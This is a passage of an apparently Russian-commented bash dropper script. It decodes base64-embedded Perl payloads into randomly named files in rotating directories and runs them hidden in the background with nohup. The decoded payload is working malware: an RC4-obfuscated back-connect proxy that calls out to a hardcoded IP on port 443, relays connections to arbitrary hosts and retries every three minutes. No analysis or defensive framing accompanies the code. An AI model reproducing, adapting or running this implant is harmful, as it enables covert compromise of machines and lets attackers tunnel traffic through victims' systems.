CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #4 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #4 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 5 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 